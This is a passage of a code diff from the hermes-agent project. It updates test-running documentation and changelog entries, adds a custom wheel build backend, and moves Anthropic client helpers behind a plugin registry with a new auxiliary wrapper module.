scripts/run_tests.sh --no-isolate tests/foo/ # disable subprocess isolation (faster, for debugging)
```
### Subprocess-per-test isolation
For a **single test file or specific test**, bare `pytest` is fine:
Every test runs in a freshly-spawned Python subprocess via the in-tree plugin
at `tests/_isolate_plugin.py`. This means module-level dicts/sets and
ContextVars from one test cannot leak into the next — the historic
`_reset_module_state` autouse fixture is gone.
```bash
nix run nixpkgs#uv -- run python -m pytest tests/agent/test_foo.py -q
nix run nixpkgs#uv -- run python -m pytest tests/agent/test_foo.py::test_x --tb=short
```
Implementation notes:
Running bare `pytest` on a directory (e.g. `pytest tests/`) will print a warning
from `conftest.py` telling you to use the script instead.
- The plugin uses `multiprocessing.get_context("spawn")`, which works on
Linux, macOS, and Windows alike (POSIX `fork` is not used).
- Per-test overhead is ~0.51.0s (Python startup + pytest collection). xdist
parallelism amortizes this across cores; on a 20-core box the full suite
finishes in roughly the same wall time as before, but flake-free.
- `isolate_timeout` (configured in `pyproject.toml`) caps each test at 30s.
Hangs are killed and surfaced as a failure report.
- Pass `--no-isolate` to disable isolation — useful when debugging a single
test interactively, or when you specifically want to verify state leakage.
- The plugin disables itself in child processes (sentinel envvar
`HERMES_ISOLATE_CHILD=1`), so there's no fork-bomb risk.
### Per-file process isolation
`scripts/run_tests.sh` calls `scripts/run_tests_parallel.py`, which spawns one
`python -m pytest <file>` subprocess per test **file** (not per test), giving each
a fresh Python interpreter. This means module-level dicts/sets, ContextVars, and
registry singletons from one test file cannot leak into another — no shared state
between files, no xdist required.
`HERMES_PARALLEL_RUNNER=1` is set in each subprocess so `conftest.py` knows tests
are running under the managed runner. If you need to suppress the bare-pytest
directory warning in a special case, set this variable yourself — but prefer the
script.
### Why the wrapper (and why the old "just call pytest" doesn't work)
@@ -1056,31 +1161,13 @@ Five real sources of local-vs-CI drift the script closes:
| HOME / `~/.hermes/` | Your real config+auth.json | Temp dir per test |
| Timezone | Local TZ (PDT etc.) | UTC |
| Locale | Whatever is set | C.UTF-8 |
| xdist workers | `-n auto` = all cores | `-n auto` (safe — subprocess isolation prevents cross-worker flakes) |
| File isolation | Shared interpreter — state leaks between files | One subprocess per file |
`tests/conftest.py` also enforces points 1-4 as an autouse fixture so ANY pytest
invocation (including IDE integrations) gets hermetic behavior — but the wrapper
is belt-and-suspenders.
`tests/conftest.py` also enforces the credential/TZ/locale points as an autouse
fixture so ANY pytest invocation (including IDE integrations) gets hermetic
behavior — but the wrapper adds per-file process isolation on top.
### Running without the wrapper (only if you must)
If you can't use the wrapper (e.g. inside an IDE that shells pytest directly),
at minimum activate the venv. The isolation plugin loads automatically from
`addopts` in `pyproject.toml`, so you get the same per-test process isolation
either way.
```bash
source .venv/bin/activate # or: source venv/bin/activate
python -m pytest tests/ -q
```
If you need to bypass isolation for fast feedback while debugging:
```bash
python -m pytest tests/agent/test_foo.py -q --no-isolate
```
Always run the full suite before pushing changes.
Always run the full suite via `scripts/run_tests.sh` before pushing changes.
### Don't write change-detector tests
+4 -5
View File
@@ -121,12 +121,11 @@ hermes chat -q "Hello"
### Run tests
```bash
# Preferred — matches CI (hermetic env, 4 xdist workers); see AGENTS.md
# Preferred — matches CI (hermetic env, per-file process isolation); see AGENTS.md
scripts/run_tests.sh
# Alternative (activate the venv first). The wrapper is still recommended
# for parity with GitHub Actions before you open a PR:
pytest tests/ -v
# For a single file or specific test, bare pytest is also fine:
# python -m pytest tests/agent/test_foo.py -q
```
---
@@ -857,7 +856,7 @@ refactor/description # Code restructuring
### Before submitting
1. **Run tests**: `scripts/run_tests.sh` (recommended; same as CI) or `pytest tests/ -v` with the project venv activated
1. **Run tests**: `scripts/run_tests.sh` (recommended; same as CI — hermetic env + per-file process isolation)
2. **Test manually**: Run `hermes` and exercise the code path you changed
3. **Check cross-platform impact**: If you touch file I/O, process management, or terminal handling, consider macOS, Linux, and WSL2
4. **Keep PRs focused**: One logical change per PR. Don't mix a bug fix with a refactor with a new feature.
+1 -1
View File
@@ -179,7 +179,7 @@ curl -LsSf https://astral.sh/uv/install.sh | sh
uv venv venv --python 3.11
source venv/bin/activate
uv pip install -e ".[all,dev]"
python -m pytest tests/ -q
scripts/run_tests.sh
```
---
+4 -8
View File
@@ -443,7 +443,6 @@
## 🪟 Native Windows (Beta Continued)
- Thin desktop installer + first-launch `install.ps1` bootstrap. ([#27822](https://github.com/NousResearch/hermes-agent/pull/27822))
- Complete Windows bootstrap — `dep_ensure` + `install.ps1` + detection. (@alt-glitch) ([#27845](https://github.com/NousResearch/hermes-agent/pull/27845))
- `install.ps1`: strip BOM, `-Commit`/`-Tag` pin params, harden git ops. (@jquesnelle) ([#28169](https://github.com/NousResearch/hermes-agent/pull/28169))
- Consolidate ACP browser bootstrap into `install.{sh,ps1}`. (@alt-glitch) ([#27851](https://github.com/NousResearch/hermes-agent/pull/27851))
@@ -453,12 +452,9 @@
---
## 🖼 Hermes Desktop GUI
## 🖥 Web Dashboard
- `hermes gui` launcher — install + build + launch packaged Electron app. (@OutThisLife) ([#30165](https://github.com/NousResearch/hermes-agent/pull/30165))
- Desktop UI lift. ([#27227](https://github.com/NousResearch/hermes-agent/pull/27227))
- `nix` package `.#desktop`. (@ethernet8023) ([#28964](https://github.com/NousResearch/hermes-agent/pull/28964))
- Hardened Slack socket recovery + Windows desktop restart dedupe. ([#28873](https://github.com/NousResearch/hermes-agent/pull/28873))
- Hardened Slack socket recovery + Windows restart dedupe. ([#28873](https://github.com/NousResearch/hermes-agent/pull/28873))
- Web dashboard: migrate checkboxes to `@nous-research/ui` + design-system polish. (@austinpickett) ([#28814](https://github.com/NousResearch/hermes-agent/pull/28814))
- Web dashboard: collapsible sidebar. (@austinpickett) ([#33421](https://github.com/NousResearch/hermes-agent/pull/33421))
- Dashboard typography & contrast pass. (salvage of [#28832](https://github.com/NousResearch/hermes-agent/pull/28832)) ([#30714](https://github.com/NousResearch/hermes-agent/pull/30714))
@@ -579,11 +575,11 @@
### Notable salvages & cherry-picks
- **@benbarclay** — s6-overlay container supervision (29 commits salvaged), Node 22 LTS upgrade, build-essential cleanup, `gateway run` auto-redirect in s6, tee supervised stdout to docker logs, `hermes update` Docker guidance, build-time SHA stamping
- **@OutThisLife** — `hermes gui` desktop launcher, `mouse_tracking` DEC mode presets
- **@OutThisLife** — `mouse_tracking` DEC mode presets
- **@jquesnelle** — Windows installer hardening, `--branch` flag for `hermes update`, install.ps1 BOM strip / commit-pin
- **@alt-glitch** — Windows `dep_ensure` bootstrap, Nix package variants (`.#messaging`, `.#full`), install-method stamping, ACP browser bootstrap consolidation
- **@austinpickett** — `/update` slash command, dashboard checkboxes → `@nous-research/ui`, mobile dashboard polish, collapsible sidebar
- **@ethernet8023** — Nix `.#desktop` packaging, CI test slicing across GH Actions jobs, TUI clipboard copy fix
- **@ethernet8023** — CI test slicing across GH Actions jobs, TUI clipboard copy fix
- **@kshitijk4poor** — doctor section banner + fail-and-issue helpers extraction, post-tag salvage cluster (curator-fallout, kanban SQLite hardening, install world-readable uv dirs, xAI bare-code paste)
- **@rewbs** — Nous JWT inference switch + refresh-token replay fix
- **@Codename-11** + **@Schwartz10** — session control API (REST + SSE + multimodal followup)
+183
View File
@@ -0,0 +1,183 @@
"""Custom PEP 517 build backend for hermes-agent.
At wheel build time, rewrites [project.optional-dependencies] so that
plugin extras (e.g. ``anthropic = ["hermes-agent-anthropic"]``) are
inlined with the actual deps from each plugin's pyproject.toml.
In the source repo (and on Nix), uv resolves workspace members natively
so this backend is NOT used — it's only invoked when building a wheel
for PyPI publication.
Usage in pyproject.toml::
[build-system]
requires = ["setuptools>=61.0"]
build-backend = "_build_backend"
backend-path = ["."]
How it works:
1. ``build_wheel`` intercepts the call before setuptools sees pyproject.toml.
2. It reads the workspace member dirs from [tool.uv.workspace].members.
3. For each member, it reads the member's pyproject.toml and extracts
``project.dependencies`` (excluding the ``hermes-agent`` base dep).
4. It rewrites the main pyproject.toml's optional-dependencies to inline
those deps instead of the workspace member references.
5. It writes a temporary pyproject.toml, delegates to
``setuptools.build_meta.build_wheel``, then restores the original.
"""
from __future__ import annotations
import os
import shutil
import tempfile
from pathlib import Path
from typing import Any
import tomllib
# The original setuptools backend we delegate to.
_BACKEND = "setuptools.build_meta"
def _load_pyproject(path: Path) -> dict:
with path.open("rb") as f:
return tomllib.load(f)
def _save_pyproject(path: Path, data: dict) -> None:
"""Write a pyproject.toml. Uses a simple serializer since we only
need to preserve the structure enough for setuptools to parse."""
import tomli_w
with path.open("wb") as f:
tomli_w.dump(data, f)
def _inline_plugin_deps(root: Path, data: dict) -> dict:
"""Rewrite optional-dependencies to inline plugin deps.
Maps each plugin extra (e.g. ``anthropic = ["hermes-agent-anthropic"]``)
to the actual deps from that plugin's pyproject.toml, minus the
``hermes-agent`` base dependency.
"""
opt_deps = data.get("project", {}).get("optional-dependencies", {})
workspace = data.get("tool", {}).get("uv", {}).get("workspace", {})
members = workspace.get("members", [])
# Build a map: package name → (member_dir, pyproject_data)
pkg_to_deps: dict[str, list[str]] = {}
for member_glob in members:
for member_dir in sorted(root.glob(member_glob)):
pptoml = member_dir / "pyproject.toml"
if not pptoml.exists():
continue
member_data = _load_pyproject(pptoml)
pkg_name = member_data.get("project", {}).get("name", "")
if not pkg_name:
continue
# Extract deps, excluding the base hermes-agent dependency
raw_deps = member_data.get("project", {}).get("dependencies", [])
filtered = [
d for d in raw_deps
if not d.replace(" ", "").startswith("hermes-agent")
]
pkg_to_deps[pkg_name] = filtered
# Rewrite optional-dependencies
new_opt_deps = {}
for extra_name, specs in opt_deps.items():
new_specs = []
for spec in specs:
# Check if this spec references a workspace member package
if spec in pkg_to_deps:
# Inline the plugin's deps
new_specs.extend(pkg_to_deps[spec])
else:
new_specs.append(spec)
new_opt_deps[extra_name] = new_specs
data["project"]["optional-dependencies"] = new_opt_deps
# Remove [tool.uv] section — it's not valid in a published wheel
if "uv" in data.get("tool", {}):
del data["tool"]["uv"]
return data
# ---------------------------------------------------------------------------
# PEP 517 hooks
# ---------------------------------------------------------------------------
def build_wheel(wheel_directory: str, config_settings: dict[str, Any] | None = None, metadata_directory: str | None = None) -> str:
"""Build a wheel with inlined plugin deps."""
root = Path.cwd()
pyproject_path = root / "pyproject.toml"
# Read and rewrite
data = _load_pyproject(pyproject_path)
data = _inline_plugin_deps(root, data)
# Write a temporary pyproject.toml, build, then restore
backup = pyproject_path.with_suffix(".toml.bak")
shutil.copy2(pyproject_path, backup)
try:
_save_pyproject(pyproject_path, data)
# Delegate to setuptools
import importlib
backend = importlib.import_module(_BACKEND)
return backend.build_wheel(wheel_directory, config_settings)
finally:
shutil.copy2(backup, pyproject_path)
backup.unlink()
def build_sdist(sdist_directory: str, config_settings: dict[str, Any] | None = None) -> str:
"""Build an sdist — no rewriting needed."""
import importlib
backend = importlib.import_module(_BACKEND)
return backend.build_sdist(sdist_directory, config_settings)
def get_requires_for_build_wheel(config_settings: dict[str, Any] | None = None) -> list[str]:
return ["setuptools>=61.0", "tomli_w"]
def get_requires_for_build_sdist(config_settings: dict[str, Any] | None = None) -> list[str]:
return ["setuptools>=61.0"]
def prepare_metadata_for_build_wheel(metadata_directory: str, config_settings: dict[str, Any] | None = None) -> str:
"""Prepare metadata with inlined plugin deps."""
root = Path.cwd()
pyproject_path = root / "pyproject.toml"
data = _load_pyproject(pyproject_path)
data = _inline_plugin_deps(root, data)
backup = pyproject_path.with_suffix(".toml.bak")
shutil.copy2(pyproject_path, backup)
try:
_save_pyproject(pyproject_path, data)
import importlib
backend = importlib.import_module(_BACKEND)
return backend.prepare_metadata_for_build_wheel(metadata_directory, config_settings)
finally:
shutil.copy2(backup, pyproject_path)
backup.unlink()
def build_editable(wheel_directory: str, config_settings: dict[str, Any] | None = None, metadata_directory: str | None = None) -> str:
"""Build an editable install — no rewriting needed (dev mode)."""
import importlib
backend = importlib.import_module(_BACKEND)
kwargs: dict[str, Any] = {"config_settings": config_settings}
if metadata_directory is not None:
kwargs["metadata_directory"] = metadata_directory
return backend.build_editable(wheel_directory, **kwargs)
def get_requires_for_build_editable(config_settings: dict[str, Any] | None = None) -> list[str]:
return ["setuptools>=61.0"]
+4 -2
View File
@@ -6,7 +6,9 @@ from typing import Any, Optional
import httpx
from agent.anthropic_adapter import _is_oauth_token, resolve_anthropic_token
from agent.plugin_registries import registries
_is_oauth_token = registries.get_provider_service("anthropic", "_is_oauth_token")
resolve_anthropic_token = registries.get_provider_service("anthropic", "resolve_anthropic_token")
from hermes_cli.auth import _read_codex_tokens, resolve_codex_runtime_credentials
from hermes_cli.runtime_provider import resolve_runtime_provider
@@ -176,7 +178,7 @@ def _fetch_anthropic_account_usage() -> Optional[AccountUsageSnapshot]:
token = (resolve_anthropic_token() or "").strip()
if not token:
return None
if not _is_oauth_token(token):
if _is_oauth_token is not None and not _is_oauth_token(token):
return AccountUsageSnapshot(
provider="anthropic",
source="oauth_usage_api",
+32 -28
View File
@@ -404,7 +404,7 @@ def init_agent(
agent.status_callback = status_callback
agent.tool_gen_callback = tool_gen_callback
# Tool execution state — allows _vprint during tool execution
# even when stream consumers are registered (no tokens streaming then)
agent._executing_tools = False
@@ -437,12 +437,12 @@ def init_agent(
# their tids explicitly.
agent._tool_worker_threads: set[int] = set()
agent._tool_worker_threads_lock = threading.Lock()
# Subagent delegation state
agent._delegate_depth = 0 # 0 = top-level agent, incremented for children
agent._active_children = [] # Running child AIAgents (for interrupt propagation)
agent._active_children_lock = threading.Lock()
# Store OpenRouter provider preferences
agent.providers_allowed = providers_allowed
agent.providers_ignored = providers_ignored
@@ -455,7 +455,7 @@ def init_agent(
# Store toolset filtering options
agent.enabled_toolsets = enabled_toolsets
agent.disabled_toolsets = disabled_toolsets
# Model response configuration
agent.max_tokens = max_tokens # None = use model default
agent.reasoning_config = reasoning_config # None = use default (medium for OpenRouter)
@@ -463,7 +463,7 @@ def init_agent(
agent.request_overrides = dict(request_overrides or {})
agent.prefill_messages = prefill_messages or [] # Prefilled conversation turns
agent._force_ascii_payload = False
# Anthropic prompt caching: auto-enabled for Claude models on native
# Anthropic, OpenRouter, and third-party gateways that speak the
# Anthropic protocol (``api_mode == 'anthropic_messages'``). Reduces
@@ -535,7 +535,7 @@ def init_agent(
# console. Any future noise reduction belongs at the
# handler level inside hermes_logging.py, not here.
pass
# Internal stream callback (set during streaming TTS).
# Initialized here so _vprint can reference it before run_conversation.
agent._stream_callback = None
@@ -585,12 +585,14 @@ def init_agent(
_provider_timeout = get_provider_request_timeout(agent.provider, agent.model)
if agent.api_mode == "anthropic_messages":
from agent.anthropic_adapter import build_anthropic_client, resolve_anthropic_token
from agent.plugin_registries import registries
build_anthropic_client = registries.get_provider_service("anthropic", "build_anthropic_client")
resolve_anthropic_token = registries.get_provider_service("anthropic", "resolve_anthropic_token")
# Bedrock + Claude → use AnthropicBedrock SDK for full feature parity
# (prompt caching, thinking budgets, adaptive thinking).
_is_bedrock_anthropic = agent.provider == "bedrock"
if _is_bedrock_anthropic:
from agent.anthropic_adapter import build_anthropic_bedrock_client
build_anthropic_bedrock_client = registries.get_provider_service("anthropic", "build_anthropic_bedrock_client")
_region_match = re.search(r"bedrock-runtime\.([a-z0-9-]+)\.", base_url or "")
_br_region = _region_match.group(1) if _region_match else "us-east-1"
agent._bedrock_region = _br_region
@@ -644,8 +646,8 @@ def init_agent(
# so injects Claude-Code identity headers and system prompts
# that cause 401/403 on their endpoints. Guards #1739 and
# the third-party identity-injection bug.
from agent.anthropic_adapter import _is_oauth_token as _is_oat
agent._is_anthropic_oauth = _is_oat(effective_key) if (_is_native_anthropic and isinstance(effective_key, str)) else False
_is_oauth_token = registries.get_provider_service("anthropic", "_is_oauth_token")
agent._is_anthropic_oauth = _is_oauth_token(effective_key) if (_is_oauth_token is not None and _is_native_anthropic and isinstance(effective_key, str)) else False
agent._anthropic_client = build_anthropic_client(effective_key, base_url, timeout=_provider_timeout)
# No OpenAI client needed for Anthropic mode
agent.client = None
@@ -657,9 +659,10 @@ def init_agent(
# The Anthropic adapter installs an httpx event hook
# that mints a fresh JWT per request — we never
# invoke or inspect the callable in the banner.
from agent.azure_identity_adapter import is_token_provider
from agent.plugin_registries import registries
is_token_provider = registries.get_provider_service("azure", "is_token_provider")
if is_token_provider(effective_key):
if is_token_provider and is_token_provider(effective_key):
print("🔑 Using credentials: Microsoft Entra ID")
elif isinstance(effective_key, str) and len(effective_key) > 12:
print(f"🔑 Using token: {effective_key[:8]}...{effective_key[-4:]}")
@@ -869,10 +872,11 @@ def init_agent(
# provider (Azure Foundry). The OpenAI SDK mints a
# fresh JWT per request internally — the banner
# never invokes or inspects the callable.
from agent.azure_identity_adapter import is_token_provider
from agent.plugin_registries import registries
is_token_provider = registries.get_provider_service("azure", "is_token_provider")
key_used = client_kwargs.get("api_key", "none")
if is_token_provider(key_used):
if is_token_provider and is_token_provider(key_used):
print("🔑 Using credentials: Microsoft Entra ID")
elif isinstance(key_used, str) and key_used and key_used != "dummy-key" and len(key_used) > 12:
print(f"🔑 Using API key: {key_used[:8]}...{key_used[-4:]}")
@@ -880,7 +884,7 @@ def init_agent(
print("⚠️ Warning: API key appears invalid or missing")
except Exception as e:
raise RuntimeError(f"Failed to initialize OpenAI client: {e}")
# Provider fallback chain — ordered list of backup providers tried
# when the primary is exhausted (rate-limit, overload, connection
# failure). Supports both legacy single-dict ``fallback_model`` and
@@ -912,7 +916,7 @@ def init_agent(
disabled_toolsets=disabled_toolsets,
quiet_mode=agent.quiet_mode,
)
# Show tool configuration and store valid tool names for validation
agent.valid_tool_names = set()
if agent.tools:
@@ -945,16 +949,16 @@ def init_agent(
missing_reqs = [name for name, available in requirements.items() if not available]
if missing_reqs:
print(f"⚠️ Some tools may not work due to missing requirements: {missing_reqs}")
# Show trajectory saving status
if agent.save_trajectories and not agent.quiet_mode:
print("📝 Trajectory saving enabled")
# Show ephemeral system prompt status
if agent.ephemeral_system_prompt and not agent.quiet_mode:
prompt_preview = agent.ephemeral_system_prompt[:60] + "..." if len(agent.ephemeral_system_prompt) > 60 else agent.ephemeral_system_prompt
print(f"🔒 Ephemeral system prompt: '{prompt_preview}' (not saved to trajectories)")
# Show prompt caching status
if agent._use_prompt_caching and not agent.quiet_mode:
if agent._use_native_cache_layout and agent.provider == "anthropic":
@@ -964,7 +968,7 @@ def init_agent(
else:
source = "Claude via OpenRouter"
print(f"💾 Prompt caching: ENABLED ({source}, {agent._cache_ttl} TTL)")
# Session logging setup - auto-save conversation trajectories for debugging
agent.session_start = datetime.now()
if session_id:
@@ -1004,7 +1008,7 @@ def init_agent(
pass
# logs_dir is retained unconditionally for request_dump_*.json (debug
# breadcrumb path written by agent_runtime_helpers.dump_api_request_debug).
# Track conversation messages for session logging
agent._session_messages: List[Dict[str, Any]] = []
# Responses encrypted reasoning replay state. Some OpenAI-compatible
@@ -1016,10 +1020,10 @@ def init_agent(
agent._codex_reasoning_replay_enabled = True
agent._memory_write_origin = "assistant_tool"
agent._memory_write_context = "foreground"
# Cached system prompt -- built once per session, only rebuilt on compression
agent._cached_system_prompt: Optional[str] = None
# Filesystem checkpoint manager (transparent — not a tool)
from tools.checkpoint_manager import CheckpointManager
agent._checkpoint_mgr = CheckpointManager(
@@ -1028,7 +1032,7 @@ def init_agent(
max_total_size_mb=checkpoint_max_total_size_mb,
max_file_size_mb=checkpoint_max_file_size_mb,
)
# SQLite session store (optional -- provided by CLI or gateway)
agent._session_db = session_db
agent._parent_session_id = parent_session_id
@@ -1039,11 +1043,11 @@ def init_agent(
"reasoning_config": reasoning_config,
"max_tokens": max_tokens,
}
# In-memory todo list for task planning (one per agent/session)
from tools.todo_tool import TodoStore
agent._todo_store = TodoStore()
# Load config once for memory, skills, and compression sections
try:
from hermes_cli.config import load_config as _load_agent_config
@@ -1085,7 +1089,7 @@ def init_agent(
agent._memory_store.load_from_disk()
except Exception:
pass # Memory is optional -- don't break agent init
# Memory provider plugin (external — one at a time, alongside built-in)
@@ -1545,7 +1549,7 @@ def init_agent(
agent.session_estimated_cost_usd = 0.0
agent.session_cost_status = "unknown"
agent.session_cost_source = "none"
# ── Ollama num_ctx injection ──
# Ollama defaults to 2048 context regardless of the model's capabilities.
# When running against an Ollama server, detect the model's max context
+8 -7
View File
@@ -766,7 +766,8 @@ def try_recover_primary_transport(
agent.api_key = rt["api_key"]
if agent.api_mode == "anthropic_messages":
from agent.anthropic_adapter import build_anthropic_client
from agent.plugin_registries import registries
build_anthropic_client = registries.get_provider_service("anthropic", "build_anthropic_client")
agent._anthropic_api_key = rt["anthropic_api_key"]
agent._anthropic_base_url = rt["anthropic_base_url"]
agent._anthropic_client = build_anthropic_client(
@@ -930,7 +931,8 @@ def restore_primary_runtime(agent) -> bool:
# ── Rebuild client for the primary provider ──
if agent.api_mode == "anthropic_messages":
from agent.anthropic_adapter import build_anthropic_client
from agent.plugin_registries import registries
build_anthropic_client = registries.get_provider_service("anthropic", "build_anthropic_client")
agent._anthropic_api_key = rt["anthropic_api_key"]
agent._anthropic_base_url = rt["anthropic_base_url"]
agent._anthropic_client = build_anthropic_client(
@@ -1436,11 +1438,10 @@ def switch_model(agent, new_model, new_provider, api_key='', base_url='', api_mo
# ── Build new client ──
if api_mode == "anthropic_messages":
from agent.anthropic_adapter import (
build_anthropic_client,
resolve_anthropic_token,
_is_oauth_token,
)
from agent.plugin_registries import registries
build_anthropic_client = registries.get_provider_service("anthropic", "build_anthropic_client")
resolve_anthropic_token = registries.get_provider_service("anthropic", "resolve_anthropic_token")
_is_oauth_token = registries.get_provider_service("anthropic", "_is_oauth_token")
# Only fall back to ANTHROPIC_TOKEN when the provider is actually Anthropic.
# Other anthropic_messages providers (MiniMax, Alibaba, etc.) must use their own
# API key — falling back would send Anthropic credentials to third-party endpoints.
+166
View File
@@ -0,0 +1,166 @@
"""Anthropic auxiliary client wrappers — core module, no SDK dependency.
Provides OpenAI-client-compatible shims over native Anthropic SDK clients,
so auxiliary tasks (compression, vision, web extract, etc.) can call
``client.chat.completions.create()`` regardless of the underlying SDK.
The wrapper classes themselves never import the anthropic SDK. They delegate
wire-format conversion to :mod:`agent.anthropic_format` and response
normalization to the ``anthropic_messages`` transport registered in
:mod:`agent.transports`.
"""
from __future__ import annotations
import asyncio
import logging
from types import SimpleNamespace
from typing import Any, Optional
from agent.anthropic_format import (
build_anthropic_kwargs,
_forbids_sampling_params,
)
logger = logging.getLogger(__name__)
# ---------------------------------------------------------------------------
# Adapter: Anthropic SDK → OpenAI-compatible completions.create()
# ---------------------------------------------------------------------------
class _AnthropicCompletionsAdapter:
"""OpenAI-client-compatible adapter for Anthropic Messages API."""
def __init__(self, real_client: Any, model: str, is_oauth: bool = False):
self._client = real_client
self._model = model
self._is_oauth = is_oauth
def create(self, **kwargs) -> Any:
from agent.transports import get_transport
messages = kwargs.get("messages", [])
model = kwargs.get("model", self._model)
tools = kwargs.get("tools")
tool_choice = kwargs.get("tool_choice")
# ZAI's Anthropic-compatible endpoint rejects max_tokens on vision
# models (glm-4v-flash etc.) with error code 1210. When the caller
# signals this by setting _skip_zai_max_tokens in kwargs, omit it.
_skip_mt = kwargs.pop("_skip_zai_max_tokens", False)
if _skip_mt:
max_tokens = None
else:
max_tokens = kwargs.get("max_tokens") or kwargs.get("max_completion_tokens") or 2000
temperature = kwargs.get("temperature")
normalized_tool_choice = None
if isinstance(tool_choice, str):
normalized_tool_choice = tool_choice
elif isinstance(tool_choice, dict):
choice_type = str(tool_choice.get("type", "")).lower()
if choice_type == "function":
normalized_tool_choice = tool_choice.get("function", {}).get("name")
elif choice_type in {"auto", "required", "none"}:
normalized_tool_choice = choice_type
anthropic_kwargs = build_anthropic_kwargs(
model=model,
messages=messages,
tools=tools,
max_tokens=max_tokens,
reasoning_config=None,
tool_choice=normalized_tool_choice,
is_oauth=self._is_oauth,
)
# Opus 4.7+ rejects any non-default temperature/top_p/top_k; only set
# temperature for models that still accept it. build_anthropic_kwargs
# additionally strips these keys as a safety net — keep both layers.
if temperature is not None:
if not _forbids_sampling_params(model):
anthropic_kwargs["temperature"] = temperature
response = self._client.messages.create(**anthropic_kwargs)
_transport = get_transport("anthropic_messages")
_nr = _transport.normalize_response(
response, strip_tool_prefix=self._is_oauth
)
assistant_message = SimpleNamespace(
content=_nr.content,
tool_calls=_nr.tool_calls,
reasoning=_nr.reasoning,
)
finish_reason = _nr.finish_reason
usage = None
if hasattr(response, "usage") and response.usage:
prompt_tokens = getattr(response.usage, "input_tokens", 0) or 0
completion_tokens = getattr(response.usage, "output_tokens", 0) or 0
total_tokens = getattr(response.usage, "total_tokens", 0) or (prompt_tokens + completion_tokens)
usage = SimpleNamespace(
prompt_tokens=prompt_tokens,
completion_tokens=completion_tokens,
total_tokens=total_tokens,
)
choice = SimpleNamespace(
index=0,
message=assistant_message,
finish_reason=finish_reason,
)
return SimpleNamespace(
choices=[choice],
model=model,
usage=usage,
)
class _AnthropicChatShim:
def __init__(self, adapter: _AnthropicCompletionsAdapter):
self.completions = adapter
# ---------------------------------------------------------------------------
# Public wrappers
# ---------------------------------------------------------------------------
class AnthropicAuxiliaryClient:
"""OpenAI-client-compatible wrapper over a native Anthropic client."""
def __init__(self, real_client: Any, model: str, api_key: str, base_url: str, is_oauth: bool = False):
self._real_client = real_client
adapter = _AnthropicCompletionsAdapter(real_client, model, is_oauth=is_oauth)
self.chat = _AnthropicChatShim(adapter)
self.api_key = api_key
self.base_url = base_url
def close(self):
close_fn = getattr(self._real_client, "close", None)
if callable(close_fn):
close_fn()
class _AsyncAnthropicCompletionsAdapter:
def __init__(self, sync_adapter: _AnthropicCompletionsAdapter):
self._sync = sync_adapter
async def create(self, **kwargs) -> Any:
return await asyncio.to_thread(self._sync.create, **kwargs)
class _AsyncAnthropicChatShim:
def __init__(self, adapter: _AsyncAnthropicCompletionsAdapter):
self.completions = adapter
class AsyncAnthropicAuxiliaryClient:
def __init__(self, sync_wrapper: AnthropicAuxiliaryClient):
sync_adapter = sync_wrapper.chat.completions
async_adapter = _AsyncAnthropicCompletionsAdapter(sync_adapter)
self.chat = _AsyncAnthropicChatShim(async_adapter)
self.api_key = sync_wrapper.api_key
self.base_url = sync_wrapper.base_url
# Mirror _real_client so cache eviction on a poisoned underlying
# client also drops this entry.
self._real_client = sync_wrapper._real_client
File diff suppressed because it is too large Load Diff
+115 -449
View File
@@ -106,6 +106,41 @@ from utils import base_url_host_matches, base_url_hostname, normalize_proxy_env_
logger = logging.getLogger(__name__)
# ---------------------------------------------------------------------------
# Core anthropic wire-format modules (no SDK dependency)
# ---------------------------------------------------------------------------
from agent.anthropic_aux import ( # noqa: F401
AnthropicAuxiliaryClient,
AsyncAnthropicAuxiliaryClient,
)
# ---------------------------------------------------------------------------
# Plugin-registry helper — access *plugin-provided* anthropic services
# (resolve.py functions: maybe_wrap_anthropic, is_anthropic_compat_endpoint, etc.)
# Wire-format code (message conversion, aux client wrappers) lives in core
# and is imported directly above.
# ---------------------------------------------------------------------------
def _anthropic_plugin_service(name: str):
"""Lazy accessor for anthropic plugin resolve services.
Only the SDK-dependent orchestration (maybe_wrap_anthropic,
is_anthropic_compat_endpoint, convert_openai_images_to_anthropic) lives
in the plugin. Core accesses it through
``registries.get_provider_service("anthropic", name)`` so that:
- Core never imports from a plugin package directly.
- The plugin need only be installed when the user actually uses it.
"""
from agent.plugin_registries import registries
svc = registries.get_provider_service("anthropic", name)
if svc is None:
raise ImportError(
f"anthropic plugin service {name!r} not available — "
f"the hermes_agent_anthropic package may not be installed"
)
return svc
def _safe_isinstance(obj: Any, maybe_type: Any) -> bool:
"""Return False instead of raising when a patched symbol is not a type."""
@@ -417,7 +452,6 @@ auxiliary_is_nous: bool = False
_OPENROUTER_MODEL = "google/gemini-3-flash-preview"
_NOUS_MODEL = "google/gemini-3-flash-preview"
_NOUS_DEFAULT_BASE_URL = "https://inference-api.nousresearch.com/v1"
_ANTHROPIC_DEFAULT_BASE_URL = "https://api.anthropic.com"
_AUTH_JSON_PATH = get_hermes_home() / "auth.json"
# Codex OAuth endpoint used when a caller explicitly requests
@@ -948,253 +982,6 @@ class AsyncCodexAuxiliaryClient:
self._real_client = sync_wrapper._real_client
class _AnthropicCompletionsAdapter:
"""OpenAI-client-compatible adapter for Anthropic Messages API."""
def __init__(self, real_client: Any, model: str, is_oauth: bool = False):
self._client = real_client
self._model = model
self._is_oauth = is_oauth
def create(self, **kwargs) -> Any:
from agent.anthropic_adapter import build_anthropic_kwargs
from agent.transports import get_transport
messages = kwargs.get("messages", [])
model = kwargs.get("model", self._model)
tools = kwargs.get("tools")
tool_choice = kwargs.get("tool_choice")
# ZAI's Anthropic-compatible endpoint rejects max_tokens on vision
# models (glm-4v-flash etc.) with error code 1210. When the caller
# signals this by setting _skip_zai_max_tokens in kwargs, omit it.
_skip_mt = kwargs.pop("_skip_zai_max_tokens", False)
if _skip_mt:
max_tokens = None
else:
max_tokens = kwargs.get("max_tokens") or kwargs.get("max_completion_tokens") or 2000
temperature = kwargs.get("temperature")
normalized_tool_choice = None
if isinstance(tool_choice, str):
normalized_tool_choice = tool_choice
elif isinstance(tool_choice, dict):
choice_type = str(tool_choice.get("type", "")).lower()
if choice_type == "function":
normalized_tool_choice = tool_choice.get("function", {}).get("name")
elif choice_type in {"auto", "required", "none"}:
normalized_tool_choice = choice_type
anthropic_kwargs = build_anthropic_kwargs(
model=model,
messages=messages,
tools=tools,
max_tokens=max_tokens,
reasoning_config=None,
tool_choice=normalized_tool_choice,
is_oauth=self._is_oauth,
)
# Opus 4.7+ rejects any non-default temperature/top_p/top_k; only set
# temperature for models that still accept it. build_anthropic_kwargs
# additionally strips these keys as a safety net — keep both layers.
if temperature is not None:
from agent.anthropic_adapter import _forbids_sampling_params
if not _forbids_sampling_params(model):
